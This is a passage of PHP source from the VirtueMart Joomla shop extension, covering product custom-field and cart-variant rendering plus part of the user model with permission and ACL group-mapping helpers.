(!$field->custom_value) { return ''; } // special case it's category ID ! $q = 'SELECT * FROM `#__virtuemart_categories_' . VMLANG . '` JOIN `#__virtuemart_categories` AS p using (`virtuemart_category_id`) WHERE `virtuemart_category_id`= "' . (int)$field->custom_value . '" '; $this->_db->setQuery ($q); //echo $this->_db->_sql; if ($category = $this->_db->loadObject ()) { $q = 'SELECT `virtuemart_media_id` FROM `#__virtuemart_category_medias` WHERE `virtuemart_category_id`= "' . (int)$field->custom_value . '" '; $this->_db->setQuery ($q); $thumb = ''; if ($media_id = $this->_db->loadResult ()) { $thumb = $this->displayCustomMedia ($media_id,'category'); } $display = ''; $display .= JHTML::link (JRoute::_ ('index.php?option=com_virtuemart&view=category&task=edit&virtuemart_category_id=' . (int)$field->custom_value,FALSE), ''.$thumb.'' . $category->category_name, array('title' => $category->category_name)).''; return $display; } else { return 'no result'; } /* related product*/ case 'R': if (!$field->custom_value) { return ''; } $pModel = VmModel::getModel('product'); $related = $pModel->getProduct((int)$field->custom_value,FALSE,FALSE,FALSE,1,FALSE); $thumb =''; if (!empty($related->virtuemart_media_id[0])) { $thumb = $this->displayCustomMedia ($related->virtuemart_media_id[0]).' '; } else { $thumb = $this->displayCustomMedia (0).' '; } $display = ''; $display .= JHTML::link (juri::root().'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $related->virtuemart_product_id . '&virtuemart_category_id=' . $related->virtuemart_category_id, ''.$thumb.''. $related->product_name, array('title' => $related->product_name,'target'=>'blank')).''; return $display; break; /* image */ case 'M': if (empty($product)) { $vendorId = 1; } else { $vendorId = $product->virtuemart_vendor_id; } $q = 'SELECT `virtuemart_media_id` as value,`file_title` as text FROM `#__virtuemart_medias` WHERE `published`=1 AND (`virtuemart_vendor_id`= "' . $vendorId . '" OR `shared` = "1")'; $this->_db->setQuery ($q); $options = $this->_db->loadObjectList (); return JHTML::_ ('select.genericlist', $options, 'field[' . $row . '][custom_value]', '', 'value', 'text', $field->custom_value) . '' . $priceInput; break; /* Child product */ /* case 'C': if (empty($product)){ $virtuemart_product_id = JRequest::getInt('virtuemart_product_id', 0); } else { $virtuemart_product_id = $product->virtuemart_product_id; } $html = ''; $q='SELECT concat(`product_sku`,":",`product_name`) as text ,`virtuemart_product_id`,`product_in_stock` FROM `#__virtuemart_products` WHERE `published`=1 AND `virtuemart_product_id`= "'.$field->custom_value.'"'; //$db->setQuery(' SELECT virtuemart_product_id, product_name FROM `#__virtuemart_products` WHERE `product_parent_id` ='.(int)$product_id); $this->_db->setQuery($q); if ($child = $this->_db->loadObject()) { $html .= JHTML::link ( JRoute::_ ( 'index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id='.$field->custom_value), $child->text.' ('.$field->custom_value.')', array ('title' => $child->text )); $html .= ' '.vmText::_('COM_VIRTUEMART_PRODUCT_FORM_IN_STOCK').':'.$child->product_in_stock ; $html .= '
      '.$priceInput; return $html; // return ''; } else return vmText::_('COM_VIRTUEMART_CUSTOM_NO_CHILD_PRODUCT'); break;*/ } } } public function getProductCustomsField ($product) { $query = 'SELECT C.`virtuemart_custom_id` , `custom_element`, `custom_params`, `custom_parent_id` , `admin_only` , `custom_title` , `show_title` , `custom_tip` , C.`custom_value` AS value, `custom_field_desc` , `field_type` , `is_list` , `is_hidden`, `layout_pos`, C.`published` , field.`virtuemart_customfield_id` , field.`custom_value`, field.`custom_param`, field.`custom_price`, field.`ordering` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . (int)$product->virtuemart_product_id . ' and `field_type` != "G" and `field_type` != "R" and `field_type` != "Z"'; $query .= ' and is_cart_attribute = 0 order by field.`ordering`,virtuemart_custom_id'; $this->_db->setQuery ($query); if ($productCustoms = $this->_db->loadObjectList ()) { $row = 0; if (!class_exists ('vmCustomPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmcustomplugin.php'); } foreach ($productCustoms as $field) { if ($field->field_type == "E") { $field->display = ''; JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $ret = $dispatcher->trigger ('plgVmOnDisplayProductFE', array($product, &$row, &$field)); } else { $field->display = $this->displayProductCustomfieldFE ($product, $field, $row); } $row++; } return $productCustoms; } else { return array(); } } public function getProductCustomsFieldRelatedCategories ($product) { $query = 'SELECT C.`virtuemart_custom_id` , `custom_parent_id` , `admin_only` , `custom_title` , `custom_tip` , C.`custom_value` AS value, `custom_field_desc` , `field_type` , `is_list` , `is_hidden` , C.`published` , field.`virtuemart_customfield_id` , field.`custom_value`, field.`custom_param`, field.`custom_price`, field.`ordering` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . (int)$product->virtuemart_product_id . ' and `field_type` = "Z"'; $query .= ' and is_cart_attribute = 0 order by ordering'; $this->_db->setQuery ($query); if ($productCustoms = $this->_db->loadObjectList ()) { $row = 0; foreach ($productCustoms as & $field) { $field->display = $this->displayProductCustomfieldFE ($product, $field, $row); $row++; } return $productCustoms; } else { return array(); } } public function getProductCustomsFieldRelatedProducts ($product) { $query = 'SELECT C.`virtuemart_custom_id` , `custom_parent_id` , `admin_only` , `custom_title` , `custom_tip` , C.`custom_value` AS value, `custom_field_desc` , `field_type` , `is_list` , `is_hidden` , C.`published` , field.`virtuemart_customfield_id` , field.`custom_value`, field.`custom_param`, field.`custom_price`, field.`ordering` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . (int)$product->virtuemart_product_id . ' and `field_type` = "R"'; $query .= ' and is_cart_attribute = 0 order by ordering'; $this->_db->setQuery ($query); if ($productCustoms = $this->_db->loadObjectList ()) { $row = 0; foreach ($productCustoms as & $field) { $field->display = $this->displayProductCustomfieldFE ($product, $field, $row); $row++; } return $productCustoms; } else { return array(); } } /** * Display for the cart * * @author Patrick Kohl * @param obj $product product object * @return html code */ public function getProductCustomsFieldCart ($product) { // group by virtuemart_custom_id $query = 'SELECT C.`virtuemart_custom_id`, `custom_title`, `show_title`, C.`custom_value`,`custom_field_desc` ,`custom_tip`,`field_type`,field.`virtuemart_customfield_id`,`is_hidden` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . (int)$product->virtuemart_product_id . ' and `field_type` != "G" and `field_type` != "R" and `field_type` != "Z"'; $query .= ' and is_cart_attribute = 1 group by virtuemart_custom_id ORDER BY field.`ordering`'; $this->_db->setQuery ($query); $groups = $this->_db->loadObjectList (); $err = $this->_db->getErrorMsg(); if(!empty($err)){ vmWarn('getProductCustomsFieldCart '.$err); } else { if(empty($groups)) return array(); } if (!class_exists ('VmHTML')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); } $row = 0; if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $currency = CurrencyDisplay::getInstance (); if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $calculator = calculationHelper::getInstance (); $calculator ->_product = $product; $calculator->_cats = $product->categories; $calculator->product_tax_id = isset($product->product_tax_id)? $product->product_tax_id:0; $calculator->product_discount_id = isset($product->product_discount_id)? $product->product_discount_id:0; $calculator->productCurrency = isset($product->product_currency)? $product->product_currency:$calculator->productCurrency; if (!class_exists ('vmCustomPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmcustomplugin.php'); } //$free = vmText::_ ('COM_VIRTUEMART_CART_PRICE_FREE'); // render select list foreach ($groups as $group) { // $query='SELECT field.`virtuemart_customfield_id` as value ,concat(field.`custom_value`," :bu ", field.`custom_price`) AS text $query = 'SELECT field.`virtuemart_product_id`, `custom_params`,`custom_element`, field.`virtuemart_custom_id`, field.`virtuemart_customfield_id`,field.`custom_value`, field.`custom_price`, field.`custom_param` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . (int)$product->virtuemart_product_id; $query .= ' and is_cart_attribute = 1 and C.`virtuemart_custom_id`=' . (int)$group->virtuemart_custom_id; // We want the field to be ordered as the user defined $query .= ' ORDER BY field.`ordering`'; $this->_db->setQuery ($query); $options = $this->_db->loadObjectList (); //vmdebug('getProductCustomsFieldCart options',$options); $group->options = array(); foreach ($options as $option) { $group->options[$option->virtuemart_customfield_id] = $option; } if ($group->field_type == 'V') { $default = current ($group->options); foreach ($group->options as $productCustom) { $price = self::_getCustomPrice($productCustom->custom_price, $currency, $calculator); $productCustom->text = vmText::_($productCustom->custom_value) . ' ' . $price; } $group->display = VmHTML::select ('customPrice[' . $row . '][' . $group->virtuemart_custom_id . ']', $group->options, $default->custom_value, '', 'virtuemart_customfield_id', 'text', FALSE, false); } else { if ($group->field_type == 'G') { $group->display .= ''; // no direct display done by plugin; } else { if ($group->field_type == 'E') { $group->display = ''; foreach ($group->options as $k=> $productCustom) { $price = self::_getCustomPrice($productCustom->custom_price, $currency, $calculator); $productCustom->text = $productCustom->custom_value . ' ' . $price; $productCustom->virtuemart_customfield_id = $k; if (!class_exists ('vmCustomPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmcustomplugin.php'); } //legacy, it will be removed 2.2 $productCustom->value = $productCustom->virtuemart_customfield_id; JPluginHelper::importPlugin ('vmcustom'); JPluginHelper::importPlugin ('vmcalculation'); $dispatcher = JDispatcher::getInstance (); $fieldsToShow = $dispatcher->trigger ('plgVmOnDisplayProductVariantFE', array($productCustom, &$row, &$group)); // $group->display .= ' '; $group->display .= ' '; if (!empty($currency->_priceConfig['variantModification'][0]) and $price !== '') { $group->display .= '
      ' . vmText::_ ('COM_VIRTUEMART_CART_PRICE') . '' . $price . '
      '; } $row++; } $row--; } else { if ($group->field_type == 'U') { foreach ($group->options as $productCustom) { $price = self::_getCustomPrice($productCustom->custom_price, $currency, $calculator); $productCustom->text = $productCustom->custom_value . ' ' . $price; $group->display .= ' '; if (!empty($currency->_priceConfig['variantModification'][0]) and $price !== '') { $group->display .= '
      ' . vmText::_ ('COM_VIRTUEMART_CART_PRICE') . '' . $price . '
      '; } } } else { if ($group->field_type == 'A') { $group->display = ''; foreach ($group->options as $productCustom) { /* if ((float)$productCustom->custom_price) { $price = $currency->priceDisplay ($calculator->calculateCustomPriceWithTax ($productCustom->custom_price)); } else { $price = ($productCustom->custom_price === '') ? '' : $free; }*/ $productCustom->field_type = $group->field_type; $productCustom->is_cart = 1; $group->display .= $this->displayProductCustomfieldFE ($product, $productCustom, $row); $checked = ''; } } else { $group->display = ''; $checked = 'checked="checked"'; foreach ($group->options as $productCustom) { //vmdebug('getProductCustomsFieldCart',$productCustom); $price = self::_getCustomPrice($productCustom->custom_price, $currency, $calculator); $productCustom->field_type = $group->field_type; $productCustom->is_cart = 1; // $group->display .= ''; //MarkerVarMods $group->display .= ''; $checked = ''; } } } } } } $row++; } return $groups; } static function _getCustomPrice($customPrice, $currency, $calculator) { if ((float)$customPrice) { $price = strip_tags ($currency->priceDisplay ($calculator->calculateCustomPriceWithTax ($customPrice))); if ($customPrice >0) { $price ="+".$price; } } else { $price = ($customPrice === '') ? '' : vmText::_ ('COM_VIRTUEMART_CART_PRICE_FREE'); } return $price; } /** * Formating front display by roles * for product only ! */ public function displayProductCustomfieldFE (&$product, $customfield, $row = '') { $virtuemart_custom_id = isset($customfield->virtuemart_custom_id)? $customfield->virtuemart_custom_id:0; $value = $customfield->custom_value; $type = $customfield->field_type; $is_list = isset($customfield->is_list)? $customfield->is_list:0; $price = isset($customfield->custom_price)? $customfield->custom_price:0; $is_cart = isset($customfield->is_cart)? $customfield->is_cart:0; //vmdebug('displayProductCustomfieldFE and here is something wrong ',$customfield); if (!class_exists ('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); $currency = CurrencyDisplay::getInstance (); if ($is_list > 0) { $values = explode (';', $value); if ($is_cart != 0) { $options = array(); foreach ($values as $key => $val) { $options[] = array('value' => $val, 'text' => $val); } vmJsApi::chosenDropDowns(); return JHTML::_ ('select.genericlist', $options, 'field[' . $row . '][custom_value]', NULL, 'value', 'text', FALSE, TRUE); } else { $html = ''; $html .= '
      ' . $value . '
      '; return $html; } } else { if ($price > 0) { $price = $currency->priceDisplay ((float)$price); } switch ($type) { case 'A': $options = array(); $session = JFactory::getSession (); $virtuemart_category_id = $session->get ('vmlastvisitedcategoryid', 0, 'vm'); $productModel = VmModel::getModel ('product'); //Note by Jeremy Magne (Daycounts) 2013-08-31 //Previously the the product model is loaded but we need to ensure the correct product id is set because the getUncategorizedChildren does not get the product id as parameter. //In case the product model was previously loaded, by a related product for example, this would generate wrong uncategorized children list $productModel->setId($product->virtuemart_product_id); //parseCustomParams VirtueMartModelCustomfields::bindParameterableByFieldType($customfield); //Todo preselection as dropdown of children //Note by Max Milbers: This is not necessary, in this case it is better to unpublish the parent and to give the child which should be preselected a category //Or it is withParent, in that case there exists the case, that a parent should be used as a kind of mini category and not be orderable. //There exists already other customs and in special plugins which wanna disable or change the add to cart button. //I suggest that we manipulate the button with a message "choose a variant first" //if(!isset($customfield->pre_selected)) $customfield->pre_selected = 0; $selected = JRequest::getVar ('virtuemart_product_id',0); if(is_array($selected) ) { $selected = $selected[0]; } $selected = (int) $selected; $html = ''; $uncatChildren = $productModel->getUncategorizedChildren ($customfield->withParent); if(empty($uncatChildren)){ return $html; break; } foreach ($uncatChildren as $child) { $options[] = array('value' => JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_category_id=' . $virtuemart_category_id . '&virtuemart_product_id=' . $child['virtuemart_product_id'],FALSE), 'text' => $child['product_name']); } //vmJsApi::chosenDropDowns(); would need class="inputbox vm-chzn-select", but it does not work, in case people have two times the same product, //because both dropdowns have then the same id and the js does not work. $html .= JHTML::_ ('select.genericlist', $options, 'field[' . $row . '][custom_value]', 'onchange="window.top.location.href=this.options[this.selectedIndex].value" size="1" class="inputbox"', "value", "text", JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_category_id=' . $virtuemart_category_id . '&virtuemart_product_id=' . $selected,FALSE)); //vmdebug('$customfield',$customfield); if($customfield->parentOrderable==0 and $product->product_parent_id==0){ $product->orderable = FALSE; } return $html; break; /* variants*/ case 'V': if ($price == 0) $price = vmText::_ ('COM_VIRTUEMART_CART_PRICE_FREE'); /* Loads the product price details */ return ' ' . vmText::_ ('COM_VIRTUEMART_CART_PRICE') . $price . ' '; break; /*Date variant*/ case 'D': return '' . vmJsApi::date ($value, 'LC1', TRUE) . ''; //vmJsApi::jDate($field->custom_value, 'field['.$row.'][custom_value]','field_'.$row.'_customvalue').$priceInput; break; /* text area or editor No vmText, only displayed in BE */ case 'X': case 'Y': return $value; break; /* string or integer */ case 'S': case 'I': return vmText::_ ($value); break; /* bool */ case 'B': if ($value == 0) return vmText::_ ('COM_VIRTUEMART_NO'); return vmText::_ ('COM_VIRTUEMART_YES'); break; /* parent */ case 'P': return '' . vmText::_ ($value) . ''; break; /* related */ case 'R': $pModel = VmModel::getModel('product'); $related = $pModel->getProduct((int)$value,TRUE,TRUE,TRUE,1,FALSE); if(!$related){ vmError('related product is missing, maybe unpublished '.$product->product_name.' id: '.$product->virtuemart_product_id); return false; } $thumb =''; if (!empty($related->virtuemart_media_id[0])) { $thumb = $this->displayCustomMedia ($related->virtuemart_media_id[0]).' '; } else { $thumb = $this->displayCustomMedia (0).' '; } return JHTML::link (JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $related->virtuemart_product_id . '&virtuemart_category_id=' . $related->virtuemart_category_id,FALSE), $thumb . $related->product_name, array('title' => $related->product_name)); break; /* image */ case 'M': return $this->displayCustomMedia ($value); break; /* categorie */ case 'Z': $q = 'SELECT * FROM `#__virtuemart_categories_' . VMLANG . '` as l JOIN `#__virtuemart_categories` AS c using (`virtuemart_category_id`) WHERE `published`=1 AND l.`virtuemart_category_id`= "' . (int)$value . '" '; $this->_db->setQuery ($q); if ($category = $this->_db->loadObject ()) { $q = 'SELECT `virtuemart_media_id` FROM `#__virtuemart_category_medias`WHERE `virtuemart_category_id`= "' . $category->virtuemart_category_id . '" '; $this->_db->setQuery ($q); $thumb = ''; if ($media_id = $this->_db->loadResult ()) { $thumb = $this->displayCustomMedia ($media_id,'category'); } return JHTML::link (JRoute::_ ('index.php?option=com_virtuemart&view=category&virtuemart_category_id=' . $category->virtuemart_category_id, FALSE), $thumb . ' ' . $category->category_name, array('title' => $category->category_name)); } else return ''; /* Child Group list * this have no direct display , used for stockable product */ case 'G': return ''; //' '.vmText::_('COM_VIRTUEMART_CART_PRICE').' : '.$price .' '; break; break; } } } function displayCustomMedia ($media_id, $table = 'product', $absUrl = FALSE) { if (!class_exists ('TableMedias')) require(JPATH_VM_ADMINISTRATOR . DS . 'tables' . DS . 'medias.php'); //$data = $this->getTable('medias'); $db = JFactory::getDBO (); $data = new TableMedias($db); $data->load ((int)$media_id); if (!class_exists ('VmMediaHandler')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'mediahandler.php'); $media = VmMediaHandler::createMedia ($data, $table); //if($media_id==0){ // return $media->getIcon('', FALSE, TRUE, TRUE,$absUrl); //} return $media->displayMediaThumb ('', FALSE, '', TRUE, TRUE, $absUrl); } /** * There are too many functions doing almost the same for my taste * the results are sometimes slighty different and makes it hard to work with it, therefore here the function for future proxy use * */ public static function customFieldDisplay ($product, $variantmods, $html, $trigger) { //vmdebug('customFieldDisplay $variantmods',$variantmods); $row = 0; if (!class_exists ('shopFunctionsF')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); //MarkerVarMods foreach ($variantmods as $selected => $variant) { //foreach ($variantmods as $variant=> $selected) { //vmdebug('customFieldDisplay '.$variant.' '.$selected); if ($selected) { $productCustom = self::getProductCustomField ($selected); //vmdebug('customFieldDisplay',$selected,$productCustom); if (!empty($productCustom)) { $html .= ''; if ($productCustom->field_type == "E") { $product = self::addParam ($product); $product->productCustom = $productCustom; //vmdebug('CustomsFieldCartDisplay $productCustom',$productCustom); // vmdebug('customFieldDisplay $product->param selected '.$selected,$product->param); if (!class_exists ('vmCustomPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmcustomplugin.php'); JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $dispatcher->trigger ($trigger, array($product, $row, &$html)); } else { //vmdebug('customFieldDisplay $productCustom by self::getProductCustomField $variant: '.$variant.' $selected: '.$selected,$productCustom); $value = ''; if (($productCustom->field_type == "G")) { $child = self::getChild ($productCustom->custom_value); // $html .= $productCustom->custom_title.' '.$child->product_name; $value = $child->product_name; } elseif (($productCustom->field_type == "M")) { // $html .= $productCustom->custom_title.' '.self::displayCustomMedia($productCustom->custom_value); $value = self::displayCustomMedia ($productCustom->custom_value); } elseif (($productCustom->field_type == "S")) { // q $html .= $productCustom->custom_title.' '.vmText::_($productCustom->custom_value); $value = $productCustom->custom_value; } else { // $html .= $productCustom->custom_title.' '.$productCustom->custom_value; //vmdebug('customFieldDisplay',$productCustom); $value = $productCustom->custom_value; } $html .= ShopFunctionsF::translateTwoLangKeys ($productCustom->show_title ? $productCustom->custom_title : '', $value); } $html .= '
      '; } else { // falldown method if customfield are deleted foreach ((array)$selected as $key => $value) { $html .= '
      Couldnt find customfield' . ($key ? '' . $key . ' ' : '') . $value; } } } $row++; } // vmdebug ('customFieldDisplay html begin: ' . $html . ' end'); return $html . '
      '; } /** * TODO This is html and view stuff and MUST NOT be in the model, notice by Max * render custom fields display cart module FE */ public static function CustomsFieldCartModDisplay ($priceKey, $product) { if (empty($calculator)) { if (!class_exists ('calculationHelper')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); $calculator = calculationHelper::getInstance (); } $variantmods = $calculator->parseModifier ($priceKey); return self::customFieldDisplay ($product, $variantmods, '
      ', 'plgVmOnViewCartModule'); } /** * TODO This is html and view stuff and MUST NOT be in the model, notice by Max * render custom fields display cart FE */ public static function CustomsFieldCartDisplay ($priceKey, $product) { if (empty($calculator)) { if (!class_exists ('calculationHelper')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); $calculator = calculationHelper::getInstance (); } $variantmods = $calculator->parseModifier ($priceKey); return self::customFieldDisplay ($product, $variantmods, '
      ', 'plgVmOnViewCart'); } /* * render custom fields display order BE/FE */ public function CustomsFieldOrderDisplay ($item, $view = 'FE', $absUrl = FALSE) { $row = 0; // $item=(array)$item; if (!empty($item->product_attribute)) { $item->param = json_decode ($item->product_attribute, TRUE); // $html = '
      '; if (!empty($item->param)) { return self::customFieldDisplay ($item, $item->param, '
      ', 'plgVmDisplayInOrder' . $view); } else { vmdebug ('CustomsFieldOrderDisplay $item->param empty? '); } } else { // vmTrace('$item->product_attribut is empty'); } return FALSE; } /** * * custom fields for cart and cart module */ public static function getProductCustomField ($selected) { $db = JFactory::getDBO (); $query = 'SELECT C.`virtuemart_custom_id` , `custom_element` , `custom_parent_id` , `admin_only` , `custom_title` , `show_title` , `custom_tip` , C.`custom_value` AS value, `custom_field_desc` , `field_type` , `is_list` , `is_cart_attribute` , `is_hidden` , C.`published` , field.`virtuemart_customfield_id` , field.`custom_value`,field.`custom_param`,field.`custom_price` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` WHERE `virtuemart_customfield_id` ="' . (int)$selected . '"'; // if($product_parent_id!=0){ // $query .= ' AND (`virtuemart_product_id` ="' . $product_id.'" XOR `virtuemart_product_id` ="' . $product_parent_id.'")'; // } else { // $query .= ' AND (`virtuemart_product_id` ="' . $product_id.'"'; // } $db->setQuery ($query); return $db->loadObject (); } /* * add parameter to product definition */ public function addParam ($product) { // vmdebug('addParam? ',$product->custom_param,$product->customPlugin); $custom_param = empty($product->custom_param) ? array() : json_decode ($product->custom_param, TRUE); $product_param = empty($product->customPlugin) ? array() : json_decode ($product->customPlugin, TRUE); $params = (array)$product_param + (array)$custom_param; foreach ($params as $key => $param) { $product->param[$key] = $param; } return $product; } public function getChild ($child) { $db = JFactory::getDBO (); $db->setQuery ('SELECT `product_sku`, `product_name` FROM `#__virtuemart_products_' . VMLANG . '` WHERE virtuemart_product_id=' . $child); return $db->loadObject (); } static public function setEditCustomHidden ($customfield, $i) { if (!isset($customfield->virtuemart_customfield_id)) $customfield->virtuemart_customfield_id = '0'; $html = ' '; return $html; } } // pure php no closing tag PK@y>\%ٵ)components/com_virtuemart/models/user.phpnuW+AsetMainTable('vmusers'); $this->setToggleName('user_is_vendor'); $this->addvalidOrderingFieldName(array('ju.username','ju.name','sg.virtuemart_shoppergroup_id','shopper_group_name','shopper_group_desc') ); array_unshift($this->_validOrderingFieldName,'ju.id'); // $user = JFactory::getUser(); // $this->_id = $user->id; } /** * public function Resets the user id and data * * * @author Max Milbers */ public function setId($cid){ $user = JFactory::getUser(); //anonymous sets to 0 for a new entry if(empty($user->id)){ $userId = 0; //echo($this->_id,'Recognized anonymous case'); } else { //not anonymous, but no cid means already registered user edit own data if(empty($cid)){ $userId = $user->id; // vmdebug('setId setCurrent $user',$user->get('id')); } else { if($cid != $user->id){ if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->check("admin")) { $userId = $cid; // vmdebug('Admin watches user, setId '.$cid); } else { JError::raiseWarning(1,'Hacking attempt'); $userId = $user->id; } }else { $userId = $user->id; } } } $this->setUserId($userId); return $userId; } /** * Internal function * * @param unknown_type $id */ private function setUserId($id){ $app = JFactory::getApplication(); // if($app->isAdmin()){ if($this->_id!=$id){ $this->_id = (int)$id; $this->_data = null; $this->customer_number = 0; } // } } public function getCurrentUser(){ $user = JFactory::getUser(); $this->setUserId($user->id); return $this->getUser(); } private $_defaultShopperGroup = 0; /** * Sets the internal user id with given vendor Id * * @author Max Milbers * @param int $vendorId */ function getVendor($vendorId=1,$return=TRUE){ $vendorModel = VmModel::getModel('vendor'); $userId = VirtueMartModelVendor::getUserIdByVendorId($vendorId); if($userId){ $this->setUserId($userId); if($return){ return $this->getUser(); } } else { return false; } } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * @author Max Milbers */ function getUser(){ if(!empty($this->_data)) return $this->_data; if(empty($this->_db)) $this->_db = JFactory::getDBO(); $this->_data = $this->getTable('vmusers'); $this->_data->load((int)$this->_id); // vmdebug('$this->_data->vmusers',$this->_data); $this->_data->JUser = JUser::getInstance($this->_id); // vmdebug('$this->_data->JUser',$this->_data->JUser); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $this->_data->perms = Permissions::getInstance()->getPermissions((int)$this->_id); // Add the virtuemart_shoppergroup_ids $xrefTable = $this->getTable('vmuser_shoppergroups'); $this->_data->shopper_groups = $xrefTable->load($this->_id); $shoppergroupmodel = VmModel::getModel('ShopperGroup'); $site = JFactory::getApplication ()->isSite (); if($site){ if(empty($this->_data->shopper_groups)) $this->_data->shopper_groups = array(); $shoppergroupmodel->appendShopperGroups($this->_data->shopper_groups,$this->_data->JUser,$site); } if(!empty($this->_id)) { $q = 'SELECT `virtuemart_userinfo_id` FROM `#__virtuemart_userinfos` WHERE `virtuemart_user_id` = "' . (int)$this->_id.'"'; $this->_db->setQuery($q); $userInfo_ids = $this->_db->loadResultArray(0); } else { $userInfo_ids = array(); } // vmdebug('my query',$this->_db->getQuery()); //vmdebug('my $_ui',$userInfo_ids,$this->_id); $this->_data->userInfo = array (); $BTuid = 0; foreach($userInfo_ids as $uid){ $this->_data->userInfo[$uid] = $this->getTable('userinfos'); $this->_data->userInfo[$uid]->load($uid); if ($this->_data->userInfo[$uid]->address_type == 'BT') { $BTuid = $uid; $this->_data->userInfo[$BTuid]->name = $this->_data->JUser->name; $this->_data->userInfo[$BTuid]->email = $this->_data->JUser->email; $this->_data->userInfo[$BTuid]->username = $this->_data->JUser->username; $this->_data->userInfo[$BTuid]->address_type = 'BT'; // vmdebug('$this->_data->vmusers',$this->_data); } } // vmdebug('user_is_vendor ?',$this->_data->user_is_vendor); if($this->_data->user_is_vendor){ $vendorModel = VmModel::getModel('vendor'); if(Vmconfig::get('multix','none')=='none'){ $this->_data->virtuemart_vendor_id = 1; //vmdebug('user model, single vendor',$this->_data->virtuemart_vendor_id); } $vendorModel->setId($this->_data->virtuemart_vendor_id); $this->_data->vendor = $vendorModel->getVendor(); } return $this->_data; } /** * Retrieve contact info for a user if any * * @return array of null */ function getContactDetails() { if ($this->_id) { $this->_db->setQuery('SELECT * FROM #__contact_details WHERE user_id = ' . $this->_id); $_contacts = $this->_db->loadObjectList(); if (count($_contacts) > 0) { return $_contacts[0]; } } return null; } /** * Functions belonging to get_groups_below_me Taken with correspondence from CommunityBuilder * adjusted to the our needs * @version $Id: user.php 6543 2012-10-16 06:41:27Z Milbo $ * @package Community Builder * @subpackage cb.acl.php * @author Beat and mambojoe * @author Max Milbers * @copyright (C) Beat, www.joomlapolis.com * @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html GNU/GPL version 2 */ function get_object_id( $var_1 = null, $var_2 = null, $var_3 = null ) { if ( JVM_VERSION === 2) { $return = $var_2; } else { $return = $this->_acl->get_object_id( $var_1, $var_2, $var_3 ); } return $return; } /** * Taken with correspondence from CommunityBuilder * adjusted to the our needs * @version $Id: user.php 6543 2012-10-16 06:41:27Z Milbo $ * @package Community Builder * @subpackage cb.acl.php * @author Beat and mambojoe * @author Max Milbers * @copyright (C) Beat, www.joomlapolis.com * @license http://www.gnu.org/licenses/old-licenses/gpl-2.0.html GNU/GPL version 2 */ function get_object_groups( $var_1 = null, $var_2 = null, $var_3 = null ) { if ( version_compare(JVERSION,'1.6.0','ge') ) { $user_id = ( is_integer( $var_1 ) ? $var_1 : $var_2 ); $recurse = ( $var_3 == 'RECURSE' ? true : false ); $return = $this->_acl->getGroupsByUser( $user_id, $recurse ); } else { if ( ! $var_2 ) { $var_2 = 'ARO'; } if ( ! $var_3 ) { $var_3 = 'NO_RECURSE'; } $return = $this->_acl->get_object_groups( $var_1, $var_2, $var_3 ); } return $return; } /** * Remap literal groups (such as in default values) to the hardcoded CMS values * * @param string|array $name of int|string * @return int|array of int */ function mapGroupNamesToValues( $name ) { static $ps = null; $selected = (array) $name; foreach ( $selected as $k => $v ) { if ( ! is_numeric( $v ) ) { if ( ! $ps ) { if ( JVM_VERSION === 2 ) { $ps = array( 'Root' => 0 , 'Users' => 0 , 'Public' => 1, 'Registered' => 2, 'Author' => 3, 'Editor' => 4, 'Publisher' => 5, 'Backend' => 0 , 'Manager' => 6, 'Administrator' => 7, 'Superadministrator' => 8 ); } else { $ps = array( 'Root' => 17, 'Users' => 28, 'Public' => 29, 'Registered' => 18, 'Author' => 19, 'Editor' => 20, 'Publisher' => 21, 'Backend' => 30, 'Manager' => 23, 'Administrator' => 24, 'Superadministrator' => 25 ); } } if ( array_key_exists( $v, $ps ) ) { if ( $ps[$v] != 0 ) { $selected[$k] = $ps[$v]; } else { unset( $selected[$k] ); } } else { $selected[$k] = (int) $v; } } } if ( ! is_array( $name ) ) { $selected = $selected[0]; } return $selected; } 